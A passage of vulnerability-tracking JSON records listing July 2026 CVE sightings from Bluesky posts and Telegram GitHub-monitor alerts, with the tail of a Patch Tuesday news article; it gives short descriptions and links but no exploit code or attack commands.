has long labeled security bugs using its “exploitability index,” which is Redmond’s best guess as to how likely it is that attackers will be able to figure out a reliable way to exploit a given vulnerability.\n\nBut Satnam Narang, senior staff research engineer at Tenable, argues that Microsoft’s exploitability index needs to do a better job of shifting with the machine speed of discovery. For example, Microsoft originally gave this month’s SharePoint zero-day an exploitability rating of “less likely,” although the flaw was added to CISA’s Known Exploited Vulnerabilities list on July 1.\n\n“Anthropic\u2019s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile this system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated ‘Exploitation Less Likely’ or ‘Exploitation Unlikely,'” Narang said. “What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it.”\n\nChris Goettl at Ivanti observed that the record patch numbers from Microsoft come as a number of other major software makers are increasing their patch cadence, including Adobe which announced today it is moving to twice-monthly security bulletins published on the 2nd and 4th Tuesday of each month (Adobe also cited AI for accelerating their patch cycles). Cisco, Mozilla and Oracle also are shipping updates more frequently, while Google’s patch batches in June 2026 totaled more than 900 security fixes, Goettl noted.\n\nBacking up your Windows system and/or data is always a good idea before applying operating system updates. Given the volume of patches addressed this month it may be wise for end users to wait a few days before applying these fixes. It’s not uncommon for security patches to introduce system stability issues, and those chances probably increase quite a bit with the gigantic patch count released today.\n\nFurther reading:\n\nAction1’s Patch Tuesday blog\n\nAutomox’s rundown", "creation_timestamp": "2026-07-14T22:05:06.173288Z"}, {"uuid": "f0ee32fe-564f-4634-93d9-30f17719979c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48359", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7w2btli2t", "content": "CVE-2026-48359 - adobe experience manager as a cloud service\nAdobe Experience Manager has a security weakness that could allow an attacker to read sensitive files and gain access to a user's account. This could happen\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-07-14T22:10:04.632734Z"}, {"uuid": "ace8fcc3-aa57-47a9-925b-a1872b35583e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48259", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7w3ijbo2f", "content": "CVE-2026-48259 - adobe experience manager as a cloud service\nAdobe Experience Manager is vulnerable to a security risk that allows an attacker to make unauthorized requests on the server. This could potentially give\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-07-14T22:10:05.649945Z"}, {"uuid": "d490cede-c921-4bca-bb3a-71bb608f569f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48356", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7zmfnfg2f", "content": "CVE-2026-48356 - adobe commerce\nAdobe Commerce has a security issue where malicious files can be uploaded and potentially executed by a user. This could allow an attacker to gain control over a user's\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobecommerce #adobe #CVE #infosec", "creation_timestamp": "2026-07-14T22:12:04.236315Z"}, {"uuid": "fce4cb04-56c8-4625-ab58-b1df0e41b3d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48358", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7znrkic24", "content": "CVE-2026-48358 - adobe commerce\nAdobe Commerce users may be at risk of malicious code being executed on their site if an attacker sends specially crafted input. This could allow an attacker to take\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobecommerce #adobe #CVE #infosec", "creation_timestamp": "2026-07-14T22:12:05.549192Z"}, {"uuid": "85c08a7d-90c8-4143-ba1c-49f057003061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48318", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnbzueboc2x", "content": "CVE-2026-48318 - ColdFusion | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)\nCVE ID : CVE-2026-48318\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Improper Limitation of a Pathnam...", "creation_timestamp": "2026-07-14T22:47:59.976621Z"}, {"uuid": "70690ad8-97ef-4dd2-8ab1-2d78a92c80fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48290", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqncemduok2t", "content": "CVE-2026-48290 - CAI Content Credentials | Server-Side Request Forgery (SSRF) (CWE-918)\nCVE ID : CVE-2026-48290\n \n Published : July 14, 2026, 9:33 p.m. | 19\u00a0minutes ago\n \n Description : CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability t...", "creation_timestamp": "2026-07-14T22:54:00.783098Z"}, {"uuid": "1c16f879-728a-494f-87df-9604edd9f54e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48327", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnchrpcwo2e", "content": "CVE-2026-48327 - ColdFusion | Incorrect Authorization (CWE-863)\nCVE ID : CVE-2026-48327\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in...", "creation_timestamp": "2026-07-14T22:55:47.076548Z"}, {"uuid": "241b00e0-feae-49a3-9159-44093f6aabfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48324", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqncl5chk42x", "content": "CVE-2026-48324 - ColdFusion | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)\nCVE ID : CVE-2026-48324\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Improper Neutralization of...", "creation_timestamp": "2026-07-14T22:57:39.808619Z"}, {"uuid": "082b8d32-defe-4253-bf69-62b00fa81117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48337", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqncs7pxyz2c", "content": "\ud83d\udfe0 CVE-2026-48337 - High (7.8)\n\nIllustrator is affected by an out-of-bounds write vulnerability that could result in arbitrary co...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48337/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T23:01:37.578262Z"}, {"uuid": "becee325-1b50-489d-b20d-47170814f89f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48351", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqncsg6o2h2j", "content": "\ud83d\udfe0 CVE-2026-48351 - High (7.5)\n\nCAI Content Credentials is affected by an Improper Input Validation vulnerability that could resu...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48351/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T23:01:44.324798Z"}, {"uuid": "a53c405d-1572-4fc5-93eb-506d01286d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48352", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqncsmovb22l", "content": "\ud83d\udfe0 CVE-2026-48352 - High (7.5)\n\nCAI Content Credentials is affected by an Improper Input Validation vulnerability that could resu...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48352/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T23:01:52.035464Z"}, {"uuid": "62b9a2a4-ea4b-4e99-9023-3079c4fc11fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48321", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnd36x7a725", "content": "CVE-2026-48321 - ColdFusion | Incorrect Authorization (CWE-863)\nCVE ID : CVE-2026-48321\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An at...", "creation_timestamp": "2026-07-14T23:06:38.514079Z"}, {"uuid": "9af75c79-18f8-4da7-9667-f191216fedb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48334", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndbdebps2z", "content": "CVE-2026-48334 - illustrator desktop 2026\nIllustrator's security has been updated to address a risk where users could accidentally run malicious code by opening a file. This has been fixed, but it's essential to remain\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-07-14T23:10:04.235350Z"}, {"uuid": "b9334b6c-7f9a-456b-88ad-6fef56758bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48284", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndewdlkw2w", "content": "CVE-2026-48284\nColdFusion users are at risk of having malicious code executed on their accounts if an attacker sends them a malicious input. This can happen without the user's knowledge or action. To protect yourself, ensure\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:12:05.314177Z"}, {"uuid": "043819df-d6f5-4a2a-bacd-7ef4e3c1ef64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48318", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndexprug24", "content": "CVE-2026-48318\nColdFusion's security has been compromised, allowing an attacker to access sensitive files without permission. This could lead to data theft or unauthorized changes. To protect your system, update ColdFusion to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:12:06.413415Z"}, {"uuid": "36dcfe59-5f6a-4b4a-80d5-6e78dab361c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48325", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqndfhf7vy27", "content": "CVE-2026-48325 - ColdFusion | Missing Authentication for Critical Function (CWE-306)\nCVE ID : CVE-2026-48325\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by a Missing Authentication for Critical Function vulnerability that co...", "creation_timestamp": "2026-07-14T23:12:22.720360Z"}, {"uuid": "6c3bff7e-681a-447e-a389-93b09a6a7396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48319", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndij2r5s2t", "content": "CVE-2026-48319\nColdFusion has a security flaw that could let hackers run unauthorized code on your server. This could happen without anyone needing to click on anything, making it a serious concern. You should update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:14:05.249386Z"}, {"uuid": "11d292b1-6465-4101-ba2a-9b7d787b70fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48321", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndikflja2h", "content": "CVE-2026-48321\nA security issue in ColdFusion could allow an attacker to access sensitive data or make changes without permission. This could happen without the user's knowledge or action. To protect your system, update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:14:06.557276Z"}, {"uuid": "ba7df2f5-0f4e-45e0-92bc-aea0cde1cfc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqndlgi7gn24", "content": "CVE-2026-48322 - ColdFusion | Improper Control of Generation of Code ('Code Injection') (CWE-94)\nCVE ID : CVE-2026-48322\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Improper Control of Generation of Code ('Code Injecti...", "creation_timestamp": "2026-07-14T23:15:43.216021Z"}, {"uuid": "2dd263b8-4026-4d61-b2f8-252af65623b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48322", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndm2hgox2b", "content": "CVE-2026-48322\nColdFusion software contains a vulnerability that allows an attacker to execute malicious code on a user's system. This means an attacker could potentially take control of a user's account and access sensitive\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:16:04.142598Z"}, {"uuid": "e2b058a3-e43a-4fd9-be73-1dcf5a91f318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48324", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndm3tvq72b", "content": "CVE-2026-48324\nColdFusion software is at risk of being exploited by malicious code that can execute arbitrary actions with the current user's permissions. This vulnerability can be exploited without user interaction, making\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:16:05.560548Z"}, {"uuid": "43b36273-1cbf-406e-ab15-29ab0d79c06a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48325", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndpmxbgv2v", "content": "CVE-2026-48325\nAdobe ColdFusion is vulnerable to a security flaw that could let attackers run malicious code on a user's account. This means an attacker could potentially access sensitive information or perform actions as the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:18:04.203664Z"}, {"uuid": "b12963f5-b363-4e2c-8937-b5b76824f7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48327", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqndpo57ko24", "content": "CVE-2026-48327\nAn attacker can access user accounts without permission, potentially leading to sensitive data exposure or malicious activity. This issue affects ColdFusion, a web development platform. To mitigate the risk,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T23:18:05.325781Z"}, {"uuid": "ddaf3031-c95c-40a9-9ba1-f48ca14c3a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48284", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnds5jgt227", "content": "CVE-2026-48284 - ColdFusion | Improper Input Validation (CWE-20)\nCVE ID : CVE-2026-48284\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution...", "creation_timestamp": "2026-07-14T23:19:28.690168Z"}, {"uuid": "7bca10d6-6446-413d-886a-7f7d45308248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48319", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqndztabyk2g", "content": "CVE-2026-48319 - ColdFusion | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)\nCVE ID : CVE-2026-48319\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by an Improper Limitation of a Pathnam...", "creation_timestamp": "2026-07-14T23:23:46.333067Z"}, {"uuid": "800ce51d-1ece-437f-8c9c-38235402bbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48320", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnelqe7pw25", "content": "CVE-2026-48320 - ColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)\nCVE ID : CVE-2026-48320\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : ColdFusion is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could explo...", "creation_timestamp": "2026-07-14T23:33:47.255265Z"}, {"uuid": "07ffc837-645d-45b2-ae1c-55c8e547c4dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnfglsj4s2w", "content": "CVE-2026-48801 - linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop\nCVE ID : CVE-2026-48801\n \n Published : July 14, 2026, 9:17 p.m. | 35\u00a0minutes ago\n \n Description : linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, Lin...", "creation_timestamp": "2026-07-14T23:48:48.690094Z"}, {"uuid": "0835b970-22eb-4492-a28f-b916b6500598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48849", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88901", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48849-Roundcube-Webmail-Stored-XSS\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AnandJogawade\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-15 07:00:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository documents CVE-2026-48849, a Stored Cross-Site Scripting (XSS), HTML Injection, and CSS Injection vulnerability discovered in Roundcube Webmai\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:06.730536Z"}, {"uuid": "ef677612-6d0b-4673-9ef2-a11ff2212145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89934", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 09:22:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.710709Z"}, {"uuid": "593429a1-0a94-4bfb-860e-49be1e7c1df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89613", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48611-EXPLOIT\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Diznev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 10:37:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48611- authentication bypass in phpBB\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:17.751253Z"}, {"uuid": "c5dddfd1-08da-4e7a-9353-c4a40e960613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90021", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48909\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Is4yev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 21:33:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48909 PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.777629Z"}, {"uuid": "8a348e9f-d283-4daa-94a6-5f4b3d393aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/ctinow/252595", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer\nhttps://ift.tt/uil8yOY", "creation_timestamp": "2026-07-15T00:00:23.082393Z"}, {"uuid": "febfee6a-0c45-4e1c-a528-5f77465bd15f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48939\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 20:57:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth arbitrary file upload RCE exploit for iCagenda Joomla extension < 4.0.8 (CVSS 10.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.899026Z"}, {"uuid": "461e0a1b-9c61-464f-955c-4c9c707abfd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90152", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xgh057r3c0n\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 18:42:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2025-48907 - Unauthenticated RCE exploit for Joomla JCE < 2.9.99.5\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.317217Z"}, {"uuid": "18b04b4e-2acb-43b2-8378-a5f034ad086d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90485", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 23:50:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:20.734984Z"}, {"uuid": "ede0ac2c-6df3-4657-9c88-5b7c42f202f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnhp6wqwe2q", "content": "CVE-2026-48807 - Twig: Sandbox `__toString()` policy bypass via `Traversable` in `join` and `replace` filters\nCVE ID : CVE-2026-48807\n \n Published : July 14, 2026, 10:17 p.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : Twig is a template language for PHP. Prior to 3.27.0, the sa...", "creation_timestamp": "2026-07-15T00:29:25.690714Z"}, {"uuid": "4395f8ee-5aa9-428a-9004-f6147a89a6c0", "vulnerability_lookup_origin": 